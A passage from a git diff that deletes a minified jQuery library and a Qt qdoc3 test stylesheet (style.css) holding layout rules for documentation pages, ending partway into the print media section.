-ka[d]=f}c.data(this[a],"olddisplay",f)}}a=0;for(b=this.length;a<b;a++)this[a].style.display=c.data(this[a],"olddisplay")||"";return this}},hide:function(a,b){if(a||a===0)return this.animate(K("hide",3),a,b);else{a=0;for(b=this.length;a<b;a++){var d=c.data(this[a],"olddisplay");!d&&d!=="none"&&c.data(this[a],"olddisplay",c.css(this[a],"display"))}a=0;for(b=this.length;a<b;a++)this[a].style.display="none";return this}},_toggle:c.fn.toggle,toggle:function(a,b){var d=typeof a==="boolean";if(c.isFunction(a)&&
-c.isFunction(b))this._toggle.apply(this,arguments);else a==null||d?this.each(function(){var f=d?a:c(this).is(":hidden");c(this)[f?"show":"hide"]()}):this.animate(K("toggle",3),a,b);return this},fadeTo:function(a,b,d){return this.filter(":hidden").css("opacity",0).show().end().animate({opacity:b},a,d)},animate:function(a,b,d,f){var e=c.speed(b,d,f);if(c.isEmptyObject(a))return this.each(e.complete);return this[e.queue===false?"each":"queue"](function(){var i=c.extend({},e),j,n=this.nodeType===1&&c(this).is(":hidden"),
-o=this;for(j in a){var m=j.replace(ha,ia);if(j!==m){a[m]=a[j];delete a[j];j=m}if(a[j]==="hide"&&n||a[j]==="show"&&!n)return i.complete.call(this);if((j==="height"||j==="width")&&this.style){i.display=c.css(this,"display");i.overflow=this.style.overflow}if(c.isArray(a[j])){(i.specialEasing=i.specialEasing||{})[j]=a[j][1];a[j]=a[j][0]}}if(i.overflow!=null)this.style.overflow="hidden";i.curAnim=c.extend({},a);c.each(a,function(s,x){var A=new c.fx(o,i,s);if(wb.test(x))A[x==="toggle"?n?"show":"hide":x](a);
-else{var B=xb.exec(x),C=A.cur(true)||0;if(B){x=parseFloat(B[2]);var E=B[3]||"px";if(E!=="px"){o.style[s]=(x||1)+E;C=(x||1)/A.cur(true)*C;o.style[s]=C+E}if(B[1])x=(B[1]==="-="?-1:1)*x+C;A.custom(C,x,E)}else A.custom(C,x,"")}});return true})},stop:function(a,b){var d=c.timers;a&&this.queue([]);this.each(function(){for(var f=d.length-1;f>=0;f--)if(d[f].elem===this){b&&d[f](true);d.splice(f,1)}});b||this.dequeue();return this}});c.each({slideDown:K("show",1),slideUp:K("hide",1),slideToggle:K("toggle",
-1),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"}},function(a,b){c.fn[a]=function(d,f){return this.animate(b,d,f)}});c.extend({speed:function(a,b,d){var f=a&&typeof a==="object"?a:{complete:d||!d&&b||c.isFunction(a)&&a,duration:a,easing:d&&b||b&&!c.isFunction(b)&&b};f.duration=c.fx.off?0:typeof f.duration==="number"?f.duration:c.fx.speeds[f.duration]||c.fx.speeds._default;f.old=f.complete;f.complete=function(){f.queue!==false&&c(this).dequeue();c.isFunction(f.old)&&f.old.call(this)};return f},easing:{linear:function(a,
-b,d,f){return d+f*a},swing:function(a,b,d,f){return(-Math.cos(a*Math.PI)/2+0.5)*f+d}},timers:[],fx:function(a,b,d){this.options=b;this.elem=a;this.prop=d;if(!b.orig)b.orig={}}});c.fx.prototype={update:function(){this.options.step&&this.options.step.call(this.elem,this.now,this);(c.fx.step[this.prop]||c.fx.step._default)(this);if((this.prop==="height"||this.prop==="width")&&this.elem.style)this.elem.style.display="block"},cur:function(a){if(this.elem[this.prop]!=null&&(!this.elem.style||this.elem.style[this.prop]==
-null))return this.elem[this.prop];return(a=parseFloat(c.css(this.elem,this.prop,a)))&&a>-10000?a:parseFloat(c.curCSS(this.elem,this.prop))||0},custom:function(a,b,d){function f(i){return e.step(i)}this.startTime=J();this.start=a;this.end=b;this.unit=d||this.unit||"px";this.now=this.start;this.pos=this.state=0;var e=this;f.elem=this.elem;if(f()&&c.timers.push(f)&&!W)W=setInterval(c.fx.tick,13)},show:function(){this.options.orig[this.prop]=c.style(this.elem,this.prop);this.options.show=true;this.custom(this.prop===
-"width"||this.prop==="height"?1:0,this.cur());c(this.elem).show()},hide:function(){this.options.orig[this.prop]=c.style(this.elem,this.prop);this.options.hide=true;this.custom(this.cur(),0)},step:function(a){var b=J(),d=true;if(a||b>=this.options.duration+this.startTime){this.now=this.end;this.pos=this.state=1;this.update();this.options.curAnim[this.prop]=true;for(var f in this.options.curAnim)if(this.options.curAnim[f]!==true)d=false;if(d){if(this.options.display!=null){this.elem.style.overflow=
-this.options.overflow;a=c.data(this.elem,"olddisplay");this.elem.style.display=a?a:this.options.display;if(c.css(this.elem,"display")==="none")this.elem.style.display="block"}this.options.hide&&c(this.elem).hide();if(this.options.hide||this.options.show)for(var e in this.options.curAnim)c.style(this.elem,e,this.options.orig[e]);this.options.complete.call(this.elem)}return false}else{e=b-this.startTime;this.state=e/this.options.duration;a=this.options.easing||(c.easing.swing?"swing":"linear");this.pos=
-c.easing[this.options.specialEasing&&this.options.specialEasing[this.prop]||a](this.state,e,0,1,this.options.duration);this.now=this.start+(this.end-this.start)*this.pos;this.update()}return true}};c.extend(c.fx,{tick:function(){for(var a=c.timers,b=0;b<a.length;b++)a[b]()||a.splice(b--,1);a.length||c.fx.stop()},stop:function(){clearInterval(W);W=null},speeds:{slow:600,fast:200,_default:400},step:{opacity:function(a){c.style(a.elem,"opacity",a.now)},_default:function(a){if(a.elem.style&&a.elem.style[a.prop]!=
-null)a.elem.style[a.prop]=(a.prop==="width"||a.prop==="height"?Math.max(0,a.now):a.now)+a.unit;else a.elem[a.prop]=a.now}}});if(c.expr&&c.expr.filters)c.expr.filters.animated=function(a){return c.grep(c.timers,function(b){return a===b.elem}).length};c.fn.offset="getBoundingClientRect"in r.documentElement?function(a){var b=this[0];if(a)return this.each(function(e){c.offset.setOffset(this,a,e)});if(!b||!b.ownerDocument)return null;if(b===b.ownerDocument.body)return c.offset.bodyOffset(b);var d=b.getBoundingClientRect(),
-f=b.ownerDocument;b=f.body;f=f.documentElement;return{top:d.top+(self.pageYOffset||c.support.boxModel&&f.scrollTop||b.scrollTop)-(f.clientTop||b.clientTop||0),left:d.left+(self.pageXOffset||c.support.boxModel&&f.scrollLeft||b.scrollLeft)-(f.clientLeft||b.clientLeft||0)}}:function(a){var b=this[0];if(a)return this.each(function(s){c.offset.setOffset(this,a,s)});if(!b||!b.ownerDocument)return null;if(b===b.ownerDocument.body)return c.offset.bodyOffset(b);c.offset.initialize();var d=b.offsetParent,f=
-b,e=b.ownerDocument,i,j=e.documentElement,n=e.body;f=(e=e.defaultView)?e.getComputedStyle(b,null):b.currentStyle;for(var o=b.offsetTop,m=b.offsetLeft;(b=b.parentNode)&&b!==n&&b!==j;){if(c.offset.supportsFixedPosition&&f.position==="fixed")break;i=e?e.getComputedStyle(b,null):b.currentStyle;o-=b.scrollTop;m-=b.scrollLeft;if(b===d){o+=b.offsetTop;m+=b.offsetLeft;if(c.offset.doesNotAddBorder&&!(c.offset.doesAddBorderForTableAndCells&&/^t(able|d|h)$/i.test(b.nodeName))){o+=parseFloat(i.borderTopWidth)||
-0;m+=parseFloat(i.borderLeftWidth)||0}f=d;d=b.offsetParent}if(c.offset.subtractsBorderForOverflowNotVisible&&i.overflow!=="visible"){o+=parseFloat(i.borderTopWidth)||0;m+=parseFloat(i.borderLeftWidth)||0}f=i}if(f.position==="relative"||f.position==="static"){o+=n.offsetTop;m+=n.offsetLeft}if(c.offset.supportsFixedPosition&&f.position==="fixed"){o+=Math.max(j.scrollTop,n.scrollTop);m+=Math.max(j.scrollLeft,n.scrollLeft)}return{top:o,left:m}};c.offset={initialize:function(){var a=r.body,b=r.createElement("div"),
-d,f,e,i=parseFloat(c.curCSS(a,"marginTop",true))||0;c.extend(b.style,{position:"absolute",top:0,left:0,margin:0,border:0,width:"1px",height:"1px",visibility:"hidden"});b.innerHTML="<div style='position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;'><div></div></div><table style='position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;' cellpadding='0' cellspacing='0'><tr><td></td></tr></table>";a.insertBefore(b,a.firstChild);
-d=b.firstChild;f=d.firstChild;e=d.nextSibling.firstChild.firstChild;this.doesNotAddBorder=f.offsetTop!==5;this.doesAddBorderForTableAndCells=e.offsetTop===5;f.style.position="fixed";f.style.top="20px";this.supportsFixedPosition=f.offsetTop===20||f.offsetTop===15;f.style.position=f.style.top="";d.style.overflow="hidden";d.style.position="relative";this.subtractsBorderForOverflowNotVisible=f.offsetTop===-5;this.doesNotIncludeMarginInBodyOffset=a.offsetTop!==i;a.removeChild(b);c.offset.initialize=c.noop},
-bodyOffset:function(a){var b=a.offsetTop,d=a.offsetLeft;c.offset.initialize();if(c.offset.doesNotIncludeMarginInBodyOffset){b+=parseFloat(c.curCSS(a,"marginTop",true))||0;d+=parseFloat(c.curCSS(a,"marginLeft",true))||0}return{top:b,left:d}},setOffset:function(a,b,d){if(/static/.test(c.curCSS(a,"position")))a.style.position="relative";var f=c(a),e=f.offset(),i=parseInt(c.curCSS(a,"top",true),10)||0,j=parseInt(c.curCSS(a,"left",true),10)||0;if(c.isFunction(b))b=b.call(a,d,e);d={top:b.top-e.top+i,left:b.left-
-e.left+j};"using"in b?b.using.call(a,d):f.css(d)}};c.fn.extend({position:function(){if(!this[0])return null;var a=this[0],b=this.offsetParent(),d=this.offset(),f=/^body|html$/i.test(b[0].nodeName)?{top:0,left:0}:b.offset();d.top-=parseFloat(c.curCSS(a,"marginTop",true))||0;d.left-=parseFloat(c.curCSS(a,"marginLeft",true))||0;f.top+=parseFloat(c.curCSS(b[0],"borderTopWidth",true))||0;f.left+=parseFloat(c.curCSS(b[0],"borderLeftWidth",true))||0;return{top:d.top-f.top,left:d.left-f.left}},offsetParent:function(){return this.map(function(){for(var a=
-this.offsetParent||r.body;a&&!/^body|html$/i.test(a.nodeName)&&c.css(a,"position")==="static";)a=a.offsetParent;return a})}});c.each(["Left","Top"],function(a,b){var d="scroll"+b;c.fn[d]=function(f){var e=this[0],i;if(!e)return null;if(f!==v)return this.each(function(){if(i=ua(this))i.scrollTo(!a?f:c(i).scrollLeft(),a?f:c(i).scrollTop());else this[d]=f});else return(i=ua(e))?"pageXOffset"in i?i[a?"pageYOffset":"pageXOffset"]:c.support.boxModel&&i.document.documentElement[d]||i.document.body[d]:e[d]}});
-c.each(["Height","Width"],function(a,b){var d=b.toLowerCase();c.fn["inner"+b]=function(){return this[0]?c.css(this[0],d,false,"padding"):null};c.fn["outer"+b]=function(f){return this[0]?c.css(this[0],d,false,f?"margin":"border"):null};c.fn[d]=function(f){var e=this[0];if(!e)return f==null?null:this;if(c.isFunction(f))return this.each(function(i){var j=c(this);j[d](f.call(this,i,j[d]()))});return"scrollTo"in e&&e.document?e.document.compatMode==="CSS1Compat"&&e.document.documentElement["client"+b]||
-e.document.body["client"+b]:e.nodeType===9?Math.max(e.documentElement["client"+b],e.body["scroll"+b],e.documentElement["scroll"+b],e.body["offset"+b],e.documentElement["offset"+b]):f===v?c.css(e,d):this.css(d,typeof f==="string"?f:f+"px")}});z.jQuery=z.$=c})(window);
diff --git a/tools/qdoc3/test/style/style.css b/tools/qdoc3/test/style/style.css
deleted file mode 100644
index dff0772..0000000
--- a/tools/qdoc3/test/style/style.css
+++ /dev/null
@@ -1,1051 +0,0 @@
-@media screen
-{
-    html
-    {
-        color: #000000;
-        background: #FFFFFF;
-    }
-    body, div, dl, dt, dd, ul, ol, li, h1, h2, h3, h4, h5, h6, pre, code, form, fieldset, legend, input, button, textarea, p, blockquote, th, td
-    {
-        margin: 0;
-        padding: 0;
-    }
-    table
-    {
-        border-collapse: collapse;
-        border-spacing: 0;
-    }
-    fieldset, img
-    {
-        border: 0;
-    }
-    address, caption, cite, code, dfn, em, strong, th, var, optgroup
-    {
-        font-style: inherit;
-        font-weight: inherit;
-    }
-    del, ins
-    {
-        text-decoration: none;
-    }
-    li
-    {
-        list-style: none;
-    }
-    caption, th
-    {
-        text-align: left;
-    }
-    h1, h2, h3, h4, h5, h6
-    {
-        font-size: 100%;
-        font-weight: normal;
-    }
-    q:before, q:after
-    {
-        content: '';
-    }
-    abbr, acronym
-    {
-        border: 0;
-        font-variant: normal;
-    }
-    sup
-    {
-        vertical-align: baseline;
-    }
-    sub
-    {
-        vertical-align: baseline;
-    }
-    .heading
-    {
-        font: normal 600 16px/1.0 Arial;
-        padding-bottom: 15px;
-    }
-    .subtitle
-    {
-        font-size: 13px;
-    }
-    .small-subtitle
-    {
-        font-size: 13px;
-    }
-    legend
-    {
-        color: #000000;
-    }
-    input, button, textarea, select, optgroup, option
-    {
-        font-family: inherit;
-        font-size: inherit;
-        font-style: inherit;
-        font-weight: inherit;
-    }
-    input, button, textarea, select
-    {
-        font-size: 100%;
-    }
-    html
-    {
-        background-color: #e5e5e5;
-    }
-    body
-    {
-        background: #e6e7e8 url(../images/page_bg.png) repeat-x 0 0;
-        font: normal 13px/1.2 Verdana;
-        color: #363534;
-    }
-    strong
-    {
-        font-weight: bold;
-    }
-    em
-    {
-        font-style: italic;
-    }
-    a
-    {
-        color: #00732f;
-        text-decoration: none;
-    }
-    .header, .footer, .wrapper
-    {
-        min-width: 600px;
-        max-width: 1500px;
-        margin: 0 30px;
-    }
-    .wrapper
-    {
-        background: url(../images/bg_r.png) repeat-y 100% 0;
-    }
-    .wrapper .hd
-    {
-        padding-left: 216px;
-        height: 15px;
-        background: url(../images/page.png) no-repeat 0 0;
-        overflow: hidden;
-    }
-    .offline .wrapper .hd
-    {
-        background: url(../images/page.png) no-repeat 0 -15px;
-    }
-    .wrapper .hd span
-    {
-        height: 15px;
-        display: block;
-        overflow: hidden;
-        background: url(../images/page.png) no-repeat 100% -30px;
-    }
-    .wrapper .bd
-    {
-        background: url(../images/bg_l.png) repeat-y 0 0;
-        position: relative;
-    }
-    .offline .wrapper .bd
-    {
-        background: url(../images/bg_l_blank.png) repeat-y 0 0;
-    }
-    .wrapper .ft
-    {
-        padding-left: 216px;
-        height: 15px;
-        background: url(../images/page.png) no-repeat 0 -75px;
-        overflow: hidden;
-    }
-    .offline .wrapper .ft
-    {
-        background: url(../images/page.png) no-repeat 0 -90px;
-    }
-    .wrapper .ft span
-    {
-        height: 15px;
-        display: block;
-        background: url(../images/page.png) no-repeat 100% -60px;
-        overflow: hidden;
-    }
-    .header, .footer
-    {
-        display: block;
-        clear: both;
-        overflow: hidden;
-    }
-    .header
-    {
-        height: 115px;
-        position: relative;
-    }
-    .header .icon
-    {
-        position: absolute;
-        top: 13px;
-        left: 0;
-    }
-    .header .qtref
-    {
-        position: absolute;
-        top: 28px;
-        left: 88px;
-        width: 302px;
-        height: 22px;
-    }
-    .header .qtref span
-    {
-        display: block;
-        width: 302px;
-        height: 22px;
-        text-indent: -999em;
-        background: url(../images/sprites-combined.png) no-repeat -78px -235px;
-    }
-
-    .sidebar
-    {
-        float: left;
-        margin-left: 5px;
-        width: 200px;
-        font-size: 11px;
-    }
-
-    .offline .sidebar, .offline .feedback, .offline .t_button
-    {
-        display: none;
-    }
-
-    .sidebar .searchlabel
-    {
-        padding: 0 0 2px 17px;
-        font: normal bold 11px/1.2 Verdana;
-    }
-
-    .sidebar .search
-    {
-        padding: 0 15px 0 16px;
-    }
-
-    .sidebar .search form
-    {
-        background: url(../images/sprites-combined.png) no-repeat -6px -348px;
-		height:21px;
-		padding:2px 0 0 5px;
-		width:167px;
-    }
-
-    .sidebar .search form input#pageType
-    {
-        width: 158px;
-        height: 19px;
-        padding: 0;
-        border: none;
-        outline: none;
-        font: 13px/1.2 Verdana;
-    }
-
-    .sidebar .box
-    {
-        padding: 17px 15px 5px 16px;
-    }
-
-    .sidebar .box .first
-    {
-        background-image: none;
-    }
-
-    .sidebar .box h2
-    {
-        font: normal 18px/1.2 Arial;
-        padding: 0;
-        min-height: 32px;
-    }
-    .sidebar .box h2 span
-    {
-        overflow: hidden;
-        display: inline-block;
-    }
-    .sidebar .box#lookup h2
-    {
-        background-image: none;
-    }
-    .sidebar #lookup.box h2 span
-    {
-        background: url(../images/sprites-combined.png) no-repeat -6px -311px;
-        width: 27px;
-        height: 35px;
-        margin-right: 13px;
-    }
-    .sidebar .box#topics h2
-    {
-        background-image: none;
-    }
-    .sidebar #topics.box h2 span
-    {
-        background: url(../images/sprites-combined.png) no-repeat -94px -311px;
-        width: 27px;
-        height: 32px;
-        margin-right: 13px;
-    }
-    .sidebar .box#examples h2
-    {
-        background-image: none;
-    }
-    .sidebar #examples.box h2 span
-    {
-        background: url(../images/sprites-combined.png) no-repeat -48px -311px;
-        width: 30px;
-        height: 31px;
-        margin-right: 9px;
-    }
-
-    .sidebar .box .list
-    {
-        display: block;
-    }
-    .sidebar .box .live
-    {
-        display: none;
-        height: 100px;
-        overflow: auto;
-    }
-    .list li a:hover, .live li a:hover
-    {
-        text-decoration: underline;
-    }
-    .sidebar .box ul
-    {
-    }
-    .sidebar .box ul li
-    {
-        padding-left: 12px;
-        background: url(../images/bullet_gt.png) no-repeat 0 5px;
-        margin-bottom: 15px;
-    }
-    .sidebar .bottombar
-    {
-        background: url(../images/box_bg.png) repeat-x 0 bottom;
-    }
-    .wrap
-    {
-        margin: 0 5px 0 208px;
-        overflow: visible; 
-    }
-    .offline .wrap
-    {
-        margin: 0 5px 0 5px;
-    }
-    .wrap .toolbar
-    {
-        background-color: #fafafa;
-        border-bottom: 1px solid #d1d1d1;
-        height: 20px; 
-        position: relative;
-    }
-    .wrap .toolbar .toolblock
-    {
-        position: absolute;
-    }
-    .wrap .toolbar .breadcrumb
-    {
-        font-size: 11px;
-        line-height: 1;
-        padding: 0 0 10px 21px;
-        height: 10px;
-    }
-    .wrap .toolbar .toolbuttons
-    {
-        padding: 0 0 10px 21px;
-        right: 5px;
-        vertical-align: middle;
-        overflow: hidden;
-    }
-    .wrap .toolbar .toolbuttons .active
-    {
-        color: #00732F;
-    }
-    .wrap .toolbar .toolbuttons ul
-    {
-        float: right;
-    }
-    .wrap .toolbar .toolbuttons li
-    {
-        float: left;
-        text-indent: -10px;
-        margin-top: -5px;
-        margin-right: 15px;
-        font-weight: bold;
-        color: #B0ADAB;
-    }
-
-    .toolbuttons #print
-    {
-        border-left: 1px solid #c5c4c4;
-        margin-top: 0;
-        padding-left: 7px;
-        text-indent: 0;
-    }
-    .toolbuttons #print a
-    {
-        width: 16px;
-        height: 16px;
-    }
-
-    .toolbuttons #print a span
-    {
-        width: 16px;
-        height: 16px;
-        text-indent: -999em;
-        display: block;
-        overflow: hidden;
-        background: url(../images/sprites-combined.png) no-repeat -137px -311px;
-    }
-
-    .toolbuttons #smallA
-    {
-        font-size: 10pt;
-    }
-    .toolbuttons #medA
-    {
-        font-size: 12pt;
-    }
-    .toolbuttons #bigA
-    {
-        font-size: 14pt;
-        margin-right: 7px;
-    }
-
-    #smallA:hover, #medA:hover, #bigA:hover
-    {
-        color: #00732F;
-    }
-
-    .offline .wrap .breadcrumb
-    {
-    }
-
-    .wrap .breadcrumb ul
-    {
-    }
-    .wrap .breadcrumb ul li
-    {
-        float: left;
-        background: url(../images/breadcrumb.png) no-repeat 0 3px;
-        padding-left: 15px;
-        margin-left: 15px;
-        font-weight: bold;
-    }
-    .wrap .breadcrumb ul li.last
-    {
-        font-weight: normal;
-    }
-    .wrap .breadcrumb ul li a
-    {
-        color: #363534;
-    }
-    .wrap .breadcrumb ul li.first
-    {
-        background-image: none;
-        padding-left: 0;
-        margin-left: 0;
-    }
-    .wrap .content
-    {
-        padding: 30px;
-    }
-
-    .wrap .content li
-    {
-        padding-left: 12px;
-        background: url(../images/bullet_sq.png) no-repeat 0 5px;
-        font: normal 400 10pt/1 Verdana;
-        color: #44a51c;
-        margin-bottom: 10px; 
-    }
-    .content li:hover
-    {
-        text-decoration: underline;
-    }
-
-    .offline .wrap .content
-    {
-        padding-top: 15px;
-    }
-
-    .wrap .content h1
-    {
-        font: 600 18px/1.2 Arial;
-    }
-    .wrap .content h2
-    {
-        font: 600 16px/1.2 Arial;
-    }
-    .wrap .content h3
-    {
-        font: 600 14px/1.2 Arial;
-    }
-    .wrap .content p
-    {
-        line-height: 20px;
-        padding: 10px 5px 10px 5px;
-    }
-    .wrap .content ul
-    {
-        padding-left: 25px;
-    }
-    a:hover
-    {
-        color: #4c0033;
-        text-decoration: underline;
-    }
-    .content a:visited
-    {
-        color: #4c0033;
-        text-decoration: none;
-    }
-    .footer
-    {
-        min-height: 100px;
-        color: #797775;
-        font: normal 9px/1 Verdana;
-        text-align: center;
-        padding-top: 40px;
-        background-color: #E6E7E8;
-        margin: 0;
-    }
-    .feedback
-    {
-        float: none;
-        position: absolute;
-        right: 15px;
-        bottom: 10px;
-        font: normal 8px/1 Verdana;
-        color: #B0ADAB;
-    }
-    .feedback:hover
-    {
-        float: right;
-        font: normal 8px/1 Verdana;
-        color: #00732F;
-        text-decoration: underline;
-    }
-    .header:after, .footer:after, .breadcrumb:after, .wrap .content:after, .group:after
-    {
-        content: ".";
-        display: block;
-        height: 0;
-        clear: both;
-        visibility: hidden;
-    }
-    #nav-topright
-    {
-        height: 70px;
-    }
-
-    #nav-topright ul
-    {
-        list-style-type: none;
-        float: right;
-        width: 370px;
-        margin-top: 11px;
-    }
-
-    #nav-topright li
-    {
-        display: inline-block;
-        margin-right: 20px;
-        float: left;
-    }
-
-    #nav-topright li.nav-topright-last
-    {
-        margin-right: 0;
-    }
-
-    #nav-topright li a
-    {
-        background: transparent url(../images/sprites-combined.png) no-repeat;
-        height: 18px;
-        display: block;
-        overflow: hidden;
-        text-indent: -9999px;
-    }
-
-    #nav-topright li.nav-topright-home a
-    {
-        width: 65px;
-        background-position: -2px -91px;
-    }
-
-    #nav-topright li.nav-topright-home a:hover
-    {
-        background-position: -2px -117px;
-    }
-
-
-    #nav-topright li.nav-topright-dev a
-    {
-        width: 30px;
-        background-position: -76px -91px;
-    }
-
-    #nav-topright li.nav-topright-dev a:hover
-    {
-        background-position: -76px -117px;
-    }
-
-
-    #nav-topright li.nav-topright-labs a
-    {
-        width: 40px;
-        background-position: -114px -91px;
-    }
-
-    #nav-topright li.nav-topright-labs a:hover
-    {
-        background-position: -114px -117px;
-    }
-
-    #nav-topright li.nav-topright-doc a
-    {
-        width: 32px;
-        background-position: -162px -91px;
-    }
-
-    #nav-topright li.nav-topright-doc a:hover, #nav-topright li.nav-topright-doc-active a
-    {
-        background-position: -162px -117px;
-    }
-
-    #nav-topright li.nav-topright-blog a
-    {
-        width: 40px;
-        background-position: -203px -91px;
-    }
-
-    #nav-topright li.nav-topright-blog a:hover, #nav-topright li.nav-topright-blog-active a
-    {
-        background-position: -203px -117px;
-    }
-
-    #nav-topright li.nav-topright-shop a
-    {
-        width: 40px;
-        background-position: -252px -91px;
-    }
-
-    #nav-topright li.nav-topright-shop a:hover, #nav-topright li.nav-topright-shop-active a
-    {
-        background-position: -252px -117px;
-    }
-
-    #nav-logo
-    {
-        background: transparent url(../images/sprites-combined.png ) no-repeat 0 -225px;
-        left: -3px;
-        position: absolute;
-        width: 75px;
-        height: 75px;
-        top: 13px;
-    }
-    #nav-logo a
-    {
-        width: 75px;
-        height: 75px;
-        display: block;
-        text-indent: -9999px;
-        overflow: hidden;
-    }
-
-
-    .shortCut-topleft-inactive
-    {
-        padding-left: 3px;
-        background: transparent url( ../images/sprites-combined.png) no-repeat 0px -58px;
-        height: 20px;
-        width: 47px;
-    }
-    .shortCut-topleft-inactive span
-    {
-        font-variant: normal;
-    }
-    #shortCut
-    {
-        padding-top: 10px;
-        font-weight: bolder;
-        color: #b0adab;
-    }
-    #shortCut ul
-    {
-        list-style-type: none;
-        float: left;
-        width: 347px;
-        margin-left: 100px;
-    }
-    #shortCut li
-    {
-        display: inline-block;
-        margin-right: 25px;
-        float: left;
-        white-space: nowrap;
-    }
-    #shortCut li a
-    {
-        color: #b0adab;
-    }
-    #shortCut li a:hover
-    {
-        color: #44a51c;
-    }
-
-    hr
-    {
-        background-color: #E6E6E6;
-        border: 1px solid #E6E6E6;
-        height: 1px;
-        width: 100%;
-        text-align: left;
-        margin: 15px 0px 15px 0px;
-    }
-
-    .content .alignedsummary
-    {
-        margin: 15px;
-    }
-    pre
-    {
-        border: 1px solid #DDDDDD;
-        margin: 0 20px 10px 10px;
-        padding: 20px 15px 20px 20px;
-        overflow-x: auto;
-    }
-    table, pre
-    {
-        -moz-border-radius: 7px 7px 7px 7px;
-        background-color: #F6F6F6;
-        border: 1px solid #E6E6E6;
-        border-collapse: separate;
-        font-size: 11px;
-        /*min-width: 395px;*/
-        margin-bottom: 25px;
-        display: inline-block;
-    }
-    thead
-    {
-        margin-top: 5px;
-    }
-    th
-    {
-        padding: 3px 15px 3px 15px;
-    }
-    td
-    {
-        padding: 3px 15px 3px 20px;
-    }
-    table tr.odd
-    {
-        border-left: 1px solid #E6E6E6;
-        background-color: #F6F6F6;
-        color: #66666E;
-    }
-    table tr.even
-    {
-        border-left: 1px solid #E6E6E6;
-        background-color: #ffffff;
-        color: #66666E;
-    }
-    table tr.odd:hover
-    {
-        background-color: #E6E6E6;
-    }
-    table tr.even:hover
-    {
-        background-color: #E6E6E6;
-    }
-
-    span.comment
-    {
-        color: #8B0000;
-        font-style: italic;
-    }
-    span.string, span.char
-    {
-        color: #254117;
-    }
-
-    .qmltype
-    {
-        text-align: center;
-        font-size: 160%;
-    }
-    .qmlreadonly
-    {
-        padding-left: 3px;
-        float: right;
-        color: #254117;
-    }
-
-    .qmldefault
-    {
-        padding-left: 3px;
-        float: right;
-        color: red;
-    }
-
-    .qmldoc
-    {
-    }
-
-    *.qmlitem p
-    {
-    }
-
-    #feedbackBox
-    {
-        display: none;
-        -moz-border-radius: 7px 7px 7px 7px;
-        border: 1px solid #DDDDDD;
-        position: fixed;
-        top: 100px;
-        left: 33%;
-        height: 190px;
-        width: 400px;
-        padding: 5px;
-        background-color: #e6e7e8;
-        z-index: 4;
-    }
-    #feedcloseX a
-    {
-        display: inline;
-        padding: 5px 5px 0 0;
-        margin-bottom: 3px;
-        color: #363534;
-        font-weight: 600;
-        float: right;
-        text-decoration: none;
-    }
-
-    #feedbox
-    {
-        display: inline;
-        width: 370px;
-        height: 120px;
-        margin: 0px 25px 10px 15px;
-    }
-    #feedsubmit
-    {
-        display: inline;
-        float: right;
-        margin: 4px 32px 0 0;
-    }
-    #blurpage
-    {
-        display: none;
-        position: fixed;
-        float: none;
-        top: 0px;
-        left: 0px;
-        right: 0px;
-        bottom: 0px;
-        background: transparent url(../images/feedbackground.png) 0 0;
-        z-index: 3;
-    }
-    .toc
-    {
-        float: right;
-        -moz-border-radius: 7px 7px 7px 7px;
-        background-color: #F6F6F6;
-        border: 1px solid #DDDDDD;
-        margin: 0 20px 10px 10px;
-        padding: 20px 15px 20px 20px;
-        height: auto;
-        width: 200px;
-    }
-
-    .toc h3
-    {
-        font: 600 12px/1.2 Arial;
-    }
-
-    .wrap .content .toc ul
-    {
-        padding-left: 0px;
-    }
-
-
-    .wrap .content .toc .level2
-    {
-        margin-left: 15px;
-    }
-
-    .content .toc li
-    {
-        font: normal 10px/1.2 Verdana;
-        background: url(../images/bullet_dn.png) no-repeat 0 5px;
-    }
-
-    .relpage
-    {
-        -moz-border-radius: 7px 7px 7px 7px;
-        border: 1px solid #DDDDDD;
-        padding: 25px 25px;
-        clear: both;
-    }
-    .relpage ul
-    {
-        float: none;
-        padding: 15px;
-    }
-    .content .relpage li
-    {
-        font: normal 11px/1.2 Verdana;
-    }
-    h3.fn, span.fn
-    {
-        background-color: #F6F6F6;
-        border-width: 1px;
-        border-style: solid;
-        border-color: #E6E6E6;
-        font-weight: bold;
-    }
-
-
-    /* start index box */
-    .indexbox
-    {
-        width: 100%;
-		display:inline-block;
-    }
-
-    .indexboxcont
-    {
-        display: block;
-       /* overflow: hidden;*/
-    }
-
-    .indexboxbar
-    {
-        background: transparent url(../images/horBar.png ) repeat-x left bottom;
-        margin-bottom: 25px;
-     /*   background-image: none;
-        border-bottom: 1px solid #e2e2e2;*/
-    }
-
-    .indexboxcont .section
-    {
-        display: inline-block;
-        width: 49%; 
-        *width:42%;
-        _width:42%;
-        padding:0 2% 0 1%;
-        vertical-align:top;
-
-}
-
-    .indexboxcont .indexIcon
-    {
-        width: 11%; 
-        *width:18%;
-        _width:18%;
-        overflow:hidden;
-
-}
-    .indexboxcont .section p
-    {
-        padding-top: 20px;
-        padding-bottom: 20px;
-    }
-    .indexboxcont .sectionlist
-    {
-        display: inline-block;
-        width: 33%;
-        padding: 0;
-    }
-    .indexboxcont .sectionlist ul
-    {
-        margin-bottom: 20px;
-    }
-
-    .indexboxcont .sectionlist ul li
-    {
-        line-height: 12px;
-    }
-
-    .content .indexboxcont li
-    {
-        font: normal 600 13px/1 Verdana;
-    }
-
-    .indexbox a:hover, .indexbox a:visited:hover
-    {
-        color: #4c0033;
-        text-decoration: underline;
-    }
-
-    .indexbox a:visited
-    {
-        color: #00732f;
-        text-decoration: none;
-    }
-
-    .indexboxcont:after
-    {
-        content: ".";
-        display: block;
-        height: 0;
-        clear: both;
-        visibility: hidden;
-    }
-
-    .indexbox .indexIcon span
-    {
-        display: block;
-    }
-    
-    .indexbox.guide .indexIcon span
-    {
-        width: 96px;
-        height: 137px;
-        background: url(../images/sprites-combined.png) no-repeat -5px -376px;
-        padding: 0;
-    }
-    
-    .indexbox.tools .indexIcon span
-    {
-        width: 115px;
-        height: 137px;
-        background: url(../images/sprites-combined.png) no-repeat -111px -376px;
-        padding: 0;
-    }
-
-    .lastcol
-    {
-        display: inline-block;
-        vertical-align: top;
-        padding: 0;
-        max-width: 25%;
-    }
-
-    .tricol .lastcol
-    {
-        margin-left: -6px;
-    }
-    /* end indexbox */
-}
-/* end of screen media */
-
-/* start of print media */
-
-@media print
-{
-     input, textarea, .header, .footer, .toolbar, .feedback, .wrapper .hd, .wrapper .bd .sidebar, .wrapper .ft
-    {
